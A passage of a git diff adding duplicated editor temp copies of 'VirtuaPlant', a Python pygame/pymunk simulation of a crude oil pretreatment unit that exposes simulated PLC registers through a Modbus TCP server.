the space +def add_pump(space): + body = pymunk.Body() + body.position = (70, 585) + shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0) + space.add(shape) + return shape + +# Draw the various "pipes" that the oil flows through +# TODO: Get rid of magic numbers and add constants + offsets +def add_oil_unit(space): + body = pymunk.Body() + body.position = (300,300) + + #oil storage unit + l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line + l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5) + l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line + l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5) + + #pipe to separator vessel + l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line + l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line + l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5) + l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line + l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line + l10 = pymunk.Segment(body, (7, 80), (7, 33), 5) + + #separator vessel + l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line + l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line + l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5) + l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line + l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line + l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5) + l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line + l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line + l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line + l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line + l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line + l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line + l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line + l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line + + #separator exit pipe + l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line + l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line + l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line + l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line + + #waste water pipe + l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line + l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line + l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line + l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line + l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line + l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line + + space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15, + l16, l17, l18, l19, l20, l21, l22, l23, l24, l25, + l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3 + + return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16, + l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30, + l31,l32,l33,l34) + +def draw_polygon(bg, shape): + points = shape.get_vertices() + fpoints = [] + for p in points: + fpoints.append(to_pygame(p)) + pygame.draw.polygon(bg, THECOLORS['black'], fpoints) + +# Draw a single line to the screen +def draw_line(screen, line, color = None): + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + if color is None: + pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2]) + else: + pygame.draw.lines(screen, color, False, [p1,p2]) + +# Draw lines from an iterable list +def draw_lines(screen, lines): + for line in lines: + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2]) + +# Default collision function for objects +# Returning true makes the two objects collide normally just like "walls/pipes" +def no_collision(space, arbiter, *args, **kwargs): + return True + +# Called when level sensor in tank is hit +def level_reached(space, arbiter, *args, **kwargs): + log.debug("Level reached") + PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full + PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump +# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1 + return False + +def oil_spilled(space, arbiter, *args, **kwargs): + global oil_spilled_amount + global oil_processed_amount + log.debug("Oil Spilled") + oil_spilled_amount = oil_spilled_amount + 1 + PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil + PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump + return False + +# This fires when the separator level is hit +def sep_on(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing + return False + +# This fires when the separator is not processing +def sep_off(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing + return False + +def sep_feed_on(space, arbiter, *args, **kwargs): + log.debug("Outlet Feed") + PLCSetTag(PLC_SEP_FEED, 1) + return False + +def outlet_valve_open(space, arbiter, *args, **kwargs): + log.debug("Outlet valve open") + PLCSetTag(PLC_OUTLET_VALVE, 0) + return False + +def outlet_valve_closed(space, arbiter, *args, **kwargs): + log.debug("Outlet valve close") + PLCSetTag(PLC_OUTLET_VALVE, 1) + return False + +def run_world(): + pygame.init() + screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) + pygame.display.set_caption("Crude Oil Pretreatment Unit") + clock = pygame.time.Clock() + running = True + + + # Create game space (world) and set gravity to normal + space = pymunk.Space() #2 + space.gravity = (0.0, -900.0) + + # When oil collides with tank_level, call level_reached + space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached) + space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled) + + + pump = add_pump(space) + lines = add_oil_unit(space) + tank_level = tank_level_sensor(space) + separator_vessel = separator_vessel_release(space) + separator_feed = separator_vessel_feed(space) + separator_feed = separator_vessel_feed(space) + oil_spill = oil_spill_sensor(space) + outlet = outlet_valve_sensor(space) + + + balls = [] + + ticks_to_next_ball = 1 + + # Set font settings + fontBig = pygame.font.SysFont(None, 40) + fontMedium = pygame.font.SysFont(None, 26) + fontSmall = pygame.font.SysFont(None, 18) + + while running: + # Advance the game clock + clock.tick(FPS) + + for event in pygame.event.get(): + if event.type == QUIT: + running = False + elif event.type == KEYDOWN and event.key == K_ESCAPE: + running = False + + bg = pygame.image.load("oil_unit.png") + + screen.fill(THECOLORS["grey"]) + + # If the feed pump is on + if PLCGetTag(PLC_FEED_PUMP) == 1: + # Draw the valve if the pump is on + # If the oil reaches the level sensor at the top of the tank + if (PLCGetTag(PLC_TANK_LEVEL) == 1): + PLCSetTag(PLC_FEED_PUMP, 0) + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + + else: + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed) + elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + # If the separator process is turned on + if PLCGetTag(PLC_SEP_VESSEL) == 1: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + else: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision) + space.add_collision_handler(separator_collision, ball_collision, begin=no_collision) + + + ticks_to_next_ball -= 1 + + if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1: + ticks_to_next_ball = 1 + ball_shape = add_ball(space) + balls.append(ball_shape) + + balls_to_remove = [] + for ball in balls: + if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150: + balls_to_remove.append(ball) + + draw_ball(bg, ball) + + for ball in balls_to_remove: + space.remove(ball, ball.body) + balls.remove(ball) + + draw_polygon(bg, pump) + draw_lines(bg, lines) + draw_ball(bg, tank_level, THECOLORS['black']) + draw_ball(bg, separator_vessel, THECOLORS['black']) + draw_ball(bg, separator_feed, THECOLORS['black']) + draw_line(bg, outlet) + + #draw_ball(screen, separator_feed, THECOLORS['red']) + title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue']) + name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20']) + instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray']) + feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue']) + oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue']) + separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue']) + waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue']) + tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue']) + separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue']) + waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue']) + outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue']) + + bg.blit(title, (300, 40)) + bg.blit(name, (347, 10)) + bg.blit(instructions, (SCREEN_WIDTH-115, 0)) + bg.blit(feed_pump_label, (80, 0)) + bg.blit(oil_storage_label, (125, 100)) + bg.blit(separator_label, (385,275)) + screen.blit(waste_water_label, (265, 490)) + bg.blit(tank_sensor, (125, 50)) + bg.blit(outlet_sensor, (90, 195)) + bg.blit(separator_release, (350, 375)) + bg.blit(waste_sensor, (90, 375)) + screen.blit(bg, (0, 0)) + + space.step(1/FPS) + pygame.display.flip() + + if reactor.running: + reactor.callFromThread(reactor.stop) + +store = ModbusSlaveContext( + di = ModbusSequentialDataBlock(0, [0]*100), + co = ModbusSequentialDataBlock(0, [0]*100), + hr = ModbusSequentialDataBlock(0, [0]*100), + ir = ModbusSequentialDataBlock(0, [0]*100)) + +context = ModbusServerContext(slaves=store, single=True) + +# Modbus PLC server information +identity = ModbusDeviceIdentification() +identity.VendorName = 'Simmons Oil Refining Platform' +identity.ProductCode = 'SORP' +identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html' +identity.ProductName = 'SORP 3850' +identity.ModelName = 'Simmons ORP 3850' +identity.MajorMinorRevision = '2.09.01' + +def startModbusServer(): + # Run a modbus server on specified address and modbus port (5020) + StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT)) + +def main(): + reactor.callInThread(run_world) + startModbusServer() + +if __name__ == '__main__': + sys.exit(main()) diff --git a/plants/oil-refinery/.~c9_invoke_m7IhEZ.py b/plants/oil-refinery/.~c9_invoke_m7IhEZ.py new file mode 100644 index 0000000..5cdcb07 --- /dev/null +++ b/plants/oil-refinery/.~c9_invoke_m7IhEZ.py @@ -0,0 +1,468 @@ +#!/usr/bin/env python +import logging + +# - Multithreading +from twisted.internet import reactor + +# - Modbus +from pymodbus.server.async import StartTcpServer +from pymodbus.device import ModbusDeviceIdentification +from pymodbus.datastore import ModbusSequentialDataBlock +from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext +from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer + +# - World Simulator +import sys, random +import pygame +from pygame.locals import * +from pygame.color import * +import pymunk + +import socket + +import argparse +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This Python script starts the SCADA/ICS World Server', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="server_addr", + help = "Modbus server IP address to listen on") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +# Display settings +SCREEN_WIDTH = 580 +SCREEN_HEIGHT = 460 +FPS=50.0 + +# Port the world will listen on +MODBUS_SERVER_PORT=5020 + +# Amount of oil spilled/processed +oil_spilled_amount = 0 +oil_processed_amount = 0 + +# PLC Register values for various control functions +PLC_FEED_PUMP = 0x01 +PLC_TANK_LEVEL = 0x02 +PLC_OUTLET_VALVE = 0x03 +PLC_SEP_VESSEL = 0x04 +PLC_SEP_FEED = 0x05 +PLC_OIL_SPILL = 0x06 +PLC_OIL_PROCESSED = 0x07 + +# Collision types +tank_level_collision = 0x4 +ball_collision = 0x5 +outlet_valve_collision = 0x6 +sep_vessel_collision = 0x7 +separator_collision = 0x8 +oil_spill_collision = 0x9 + + +def to_pygame(p): + """Small hack to convert pymunk to pygame coordinates""" + return int(p.x), int(-p.y+600) + +# Add "oil" to the world space +def add_ball(space): + mass = 0.01 + radius = 3 + inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0)) + body = pymunk.Body(mass, inertia) + body._bodycontents.v_limit = 120 + body._bodycontents.h_limit = 1 + x = random.randint(69, 70) + body.position = x, 565 + shape = pymunk.Circle(body, radius, (0,0)) + shape.collision_type = ball_collision #liquid + space.add(body, shape) + return shape + +# Add a ball to the space +def draw_ball(screen, ball, color=THECOLORS['brown']): + p = int(ball.body.position.x), 600-int(ball.body.position.y) + pygame.draw.circle(screen, color, p, int(ball.radius), 2) + +# Add the separator vessel feed +def separator_vessel_feed(space): + body = pymunk.Body() + body.position = (420, 257) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = separator_collision # Collision value for separator + space.add(shape) + return shape + +# Add the separator vessel release +def separator_vessel_release(space): + body = pymunk.Body() + body.position = (387, 225) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = sep_vessel_collision + space.add(shape) + return shape + +# Add the tank level sensor +def tank_level_sensor(space): + body = pymunk.Body() + body.position = (115, 535) + radius = 3 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = tank_level_collision # tank_level + space.add(shape) + return shape + +def outlet_valve_sensor(space): + body = pymunk.Body() + body.position = (70, 410) + # Check these coords and adjust + a = (-20, 10) + b = (20, 10) + radius = 4 + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = outlet_valve_collision + space.add(shape) + return shape + a = (-10, 0) +def oil_spill_sensor(space): + body = pymunk.Body() + body.position = (0, 0) + radius = 7 + a = (0, 75) + b = (SCREEN_WIDTH, 75) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = oil_spill_collision # oil spill sensor + space.add(shape) + return shape + +# Add the feed pump to the space +def add_pump(space): + body = pymunk.Body() + body.position = (70, 585) + shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0) + space.add(shape) + return shape + +# Draw the various "pipes" that the oil flows through +# TODO: Get rid of magic numbers and add constants + offsets +def add_oil_unit(space): + body = pymunk.Body() + body.position = (300,300) + + #oil storage unit + l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line + l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5) + l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line + l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5) + + #pipe to separator vessel + l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line + l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line + l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5) + l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line + l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line + l10 = pymunk.Segment(body, (7, 80), (7, 33), 5) + + #separator vessel + l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line + l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line + l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5) + l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line + l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line + l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5) + l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line + l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line + l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line + l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line + l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line + l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line + l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line + l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line + + #separator exit pipe + l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line + l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line + l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line + l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line + + #waste water pipe + l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line + l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line + l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line + l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line + l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line + l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line + + space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15, + l16, l17, l18, l19, l20, l21, l22, l23, l24, l25, + l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3 + + return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16, + l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30, + l31,l32,l33,l34) + +def draw_polygon(bg, shape): + points = shape.get_vertices() + fpoints = [] + for p in points: + fpoints.append(to_pygame(p)) + pygame.draw.polygon(bg, THECOLORS['black'], fpoints) + +# Draw a single line to the screen +def draw_line(screen, line, color = None): + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + if color is None: + pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2]) + else: + pygame.draw.lines(screen, color, False, [p1,p2]) + +# Draw lines from an iterable list +def draw_lines(screen, lines): + for line in lines: + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2]) + +# Default collision function for objects +# Returning true makes the two objects collide normally just like "walls/pipes" +def no_collision(space, arbiter, *args, **kwargs): + return True + +# Called when level sensor in tank is hit +def level_reached(space, arbiter, *args, **kwargs): + log.debug("Level reached") + PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full + PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump +# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1 + return False + +def oil_spilled(space, arbiter, *args, **kwargs): + global oil_spilled_amount + global oil_processed_amount + log.debug("Oil Spilled") + oil_spilled_amount = oil_spilled_amount + 1 + PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil + PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump + return False + +# This fires when the separator level is hit +def sep_on(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing + return False + +# This fires when the separator is not processing +def sep_off(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing + return False + +def sep_feed_on(space, arbiter, *args, **kwargs): + log.debug("Outlet Feed") + PLCSetTag(PLC_SEP_FEED, 1) + return False + +def outlet_valve_open(space, arbiter, *args, **kwargs): + log.debug("Outlet valve open") + PLCSetTag(PLC_OUTLET_VALVE, 0) + return False + +def outlet_valve_closed(space, arbiter, *args, **kwargs): + log.debug("Outlet valve close") + PLCSetTag(PLC_OUTLET_VALVE, 1) + return False + +def run_world(): + pygame.init() + screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) + pygame.display.set_caption("Crude Oil Pretreatment Unit") + clock = pygame.time.Clock() + running = True + + + # Create game space (world) and set gravity to normal + space = pymunk.Space() #2 + space.gravity = (0.0, -900.0) + + # When oil collides with tank_level, call level_reached + space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached) + space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled) + + + pump = add_pump(space) + lines = add_oil_unit(space) + tank_level = tank_level_sensor(space) + separator_vessel = separator_vessel_release(space) + separator_feed = separator_vessel_feed(space) + separator_feed = separator_vessel_feed(space) + oil_spill = oil_spill_sensor(space) + outlet = outlet_valve_sensor(space) + + + balls = [] + + ticks_to_next_ball = 1 + + # Set font settings + fontBig = pygame.font.SysFont(None, 40) + fontMedium = pygame.font.SysFont(None, 26) + fontSmall = pygame.font.SysFont(None, 18) + + while running: + # Advance the game clock + clock.tick(FPS) + + for event in pygame.event.get(): + if event.type == QUIT: + running = False + elif event.type == KEYDOWN and event.key == K_ESCAPE: + running = False + + bg = pygame.image.load("oil_unit.png") + + screen.fill(THECOLORS["grey"]) + + # If the feed pump is on + if PLCGetTag(PLC_FEED_PUMP) == 1: + # Draw the valve if the pump is on + # If the oil reaches the level sensor at the top of the tank + if (PLCGetTag(PLC_TANK_LEVEL) == 1): + PLCSetTag(PLC_FEED_PUMP, 0) + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + + else: + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed) + elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + # If the separator process is turned on + if PLCGetTag(PLC_SEP_VESSEL) == 1: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + else: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision) + space.add_collision_handler(separator_collision, ball_collision, begin=no_collision) + + + ticks_to_next_ball -= 1 + + if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1: + ticks_to_next_ball = 1 + ball_shape = add_ball(space) + balls.append(ball_shape) + + balls_to_remove = [] + for ball in balls: + if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150: + balls_to_remove.append(ball) + + draw_ball(bg, ball) + + for ball in balls_to_remove: + space.remove(ball, ball.body) + balls.remove(ball) + + draw_polygon(bg, pump) + draw_lines(bg, lines) + draw_ball(bg, tank_level, THECOLORS['black']) + draw_ball(bg, separator_vessel, THECOLORS['black']) + draw_ball(bg, separator_feed, THECOLORS['black']) + draw_line(bg, outlet) + + #draw_ball(screen, separator_feed, THECOLORS['red']) + title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue']) + name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20']) + instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray']) + feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue']) + oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue']) + separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue']) + waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue']) + tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue']) + separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue']) + waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue']) + outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue']) + + bg.blit(title, (300, 40)) + bg.blit(name, (347, 10)) + bg.blit(instructions, (SCREEN_WIDTH-115, 0)) + bg.blit(feed_pump_label, (80, 0)) + bg.blit(oil_storage_label, (125, 100)) + bg.blit(separator_label, (385,275)) + screen.blit(waste_water_label, (265, 490)) + bg.blit(tank_sensor, (125, 50)) + bg.blit(outlet_sensor, (90, 195)) + bg.blit(separator_release, (350, 375)) + bg.blit(waste_sensor, (90, 375)) + screen.blit(bg, (0, 0)) + + space.step(1/FPS) + pygame.display.flip() + + if reactor.running: + reactor.callFromThread(reactor.stop) + +store = ModbusSlaveContext( + di = ModbusSequentialDataBlock(0, [0]*100), + co = ModbusSequentialDataBlock(0, [0]*100), + hr = ModbusSequentialDataBlock(0, [0]*100), + ir = ModbusSequentialDataBlock(0, [0]*100)) + +context = ModbusServerContext(slaves=store, single=True) + +# Modbus PLC server information +identity = ModbusDeviceIdentification() +identity.VendorName = 'Simmons Oil Refining Platform' +identity.ProductCode = 'SORP' +identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html' +identity.ProductName = 'SORP 3850' +identity.ModelName = 'Simmons ORP 3850' +identity.MajorMinorRevision = '2.09.01' + +def startModbusServer(): + # Run a modbus server on specified address and modbus port (5020) + StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT)) + +def main(): + reactor.callInThread(run_world) + startModbusServer() + +if __name__ == '__main__': + sys.exit(main()) diff --git a/plants/oil-refinery/.~c9_invoke_oiiqP3.py b/plants/oil-refinery/.~c9_invoke_oiiqP3.py new file mode 100644 index 0000000..82f8f00 --- /dev/null +++ b/plants/oil-refinery/.~c9_invoke_oiiqP3.py @@ -0,0 +1,468 @@ +#!/usr/bin/env python +import logging + +# - Multithreading +from twisted.internet import reactor + +# - Modbus +from pymodbus.server.async import StartTcpServer +from pymodbus.device import ModbusDeviceIdentification +from pymodbus.datastore import ModbusSequentialDataBlock +from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext +from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer + +# - World Simulator +import sys, random +import pygame +from pygame.locals import * +from pygame.color import * +import pymunk + +import socket + +import argparse +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This Python script starts the SCADA/ICS World Server', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="server_addr", + help = "Modbus server IP address to listen on") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +# Display settings +SCREEN_WIDTH = 580 +SCREEN_HEIGHT = 460 +FPS=50.0 + +# Port the world will listen on +MODBUS_SERVER_PORT=5020 + +# Amount of oil spilled/processed +oil_spilled_amount = 0 +oil_processed_amount = 0 + +# PLC Register values for various control functions +PLC_FEED_PUMP = 0x01 +PLC_TANK_LEVEL = 0x02 +PLC_OUTLET_VALVE = 0x03 +PLC_SEP_VESSEL = 0x04 +PLC_SEP_FEED = 0x05 +PLC_OIL_SPILL = 0x06 +PLC_OIL_PROCESSED = 0x07 + +# Collision types +tank_level_collision = 0x4 +ball_collision = 0x5 +outlet_valve_collision = 0x6 +sep_vessel_collision = 0x7 +separator_collision = 0x8 +oil_spill_collision = 0x9 + + +def to_pygame(p): + """Small hack to convert pymunk to pygame coordinates""" + return int(p.x), int(-p.y+600) + +# Add "oil" to the world space +def add_ball(space): + mass = 0.01 + radius = 3 + inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0)) + body = pymunk.Body(mass, inertia) + body._bodycontents.v_limit = 120 + body._bodycontents.h_limit = 1 + x = random.randint(69, 70) + body.position = x, 565 + shape = pymunk.Circle(body, radius, (0,0)) + shape.collision_type = ball_collision #liquid + space.add(body, shape) + return shape + +# Add a ball to the space +def draw_ball(screen, ball, color=THECOLORS['brown']): + p = int(ball.body.position.x), 600-int(ball.body.position.y) + pygame.draw.circle(screen, color, p, int(ball.radius), 2) + +# Add the separator vessel feed +def separator_vessel_feed(space): + body = pymunk.Body() + body.position = (420, 257) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = separator_collision # Collision value for separator + space.add(shape) + return shape + +# Add the separator vessel release +def separator_vessel_release(space): + body = pymunk.Body() + body.position = 